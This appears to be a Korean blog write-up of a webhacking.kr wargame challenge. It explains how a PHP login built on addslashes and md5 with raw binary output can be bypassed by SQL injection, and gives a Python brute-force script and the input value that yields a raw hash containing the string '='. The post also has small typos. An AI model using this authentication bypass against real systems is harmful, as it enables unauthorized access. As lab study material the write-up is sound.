문제에 접속하면 다음과 같은 화면이 나타납니다.
-> Admin page라는 문구와 함께 로그인 폼이 보입니다.
-> source가 주어집니다.
-> 쿼리의 결과가 존재하면 문제는 해결됩니다.
-> input_id 값은 addslashes로 필터링합니다.
-> input_pw 값은 md5로 해쉬화합니다. 이 때 md5함수의 매개변수를 보면 뒤에 true라는 매개변수를 볼 수 있습니다.
***
php md5 함수 : www.codingfactory.net/12183
PHP / 함수 / md5() / 문자열에서 md5 해시값 생성하는 함수
개요 md5()는 문자열에서 md5 해시값을 생성하는 함수입니다. 해시값에서 원래의 문자열을 만들지는 못합니다. 문자열이 같다면 같은 해시값을 만드므로, 비밀번호를 암호화하여 저장하는 용도로
www.codingfactory.net
-> 해당 글에 따르면 md5 두 번째 매개변수 true는 row_output에 대한 설정으로 기본 값은 flase입니다.
-> true경우 16바이너리 형식으로 반환합니다.
ex) 해쉬 값이 61616161616161616161616161616161 일 때 row_output에 따른 출력 값row_output = flase : 61616161616161616161616161616161
row_putput = ture : aaaaaaaaaaaaaaaa
따라서 해쉬 값에 '=' 포함되어 있으면 쿼리는 다음과 같이 해석됩니다.
select id from chall51 where id='admin' and pw='~,~'='~.~'
따라서 id가 admin이고 pw가 ~,~ 이고 ~.~ 인 데이터를 찾게됩니다. 즉, id가 admin값을 찾게 됩니다.
pw='~,~'='~.~'가 참인 이유 (이 때 pw = admin , ~,~ = apple , ~.~ = banana 로 가정)
-> 쿼리에서 우선 pw='~,~'를 비교합니다. 같이 않으므로 0이됩니다.
-> 그 다음 비교는 0='~.~' 가 되면서 0 = 0은 참이므로 1을 리턴합니다.
import hashlib
i = 0
while 1 :
MD = hashlib.new('md5')
MD.update(str(i).encode('utf-8'))
result = str(MD.digest())
result = result[2:len(result) - 1]
ck = result.find("'='")
if ck != -1 :
print(i)
print(result)
break
i += 1
-> 해당 코드 실행 결과로 1839431 값이 나왔습니다.
끝~~
'Hacking > WebHacking.kr' 카테고리의 다른 글
Webhacking.kr : old-58 (150 pt) (0) | 2021.02.09 |
---|---|
Webhacking.kr : old-56 (250 pt) (0) | 2021.02.09 |
Webhacking.kr : old-43 (250 pt) (0) | 2021.01.28 |
Webhacking.kr : old-41 (250 pt) (0) | 2021.01.27 |
Webhacking.kr : old-21 (250 pt) (0) | 2021.01.27 |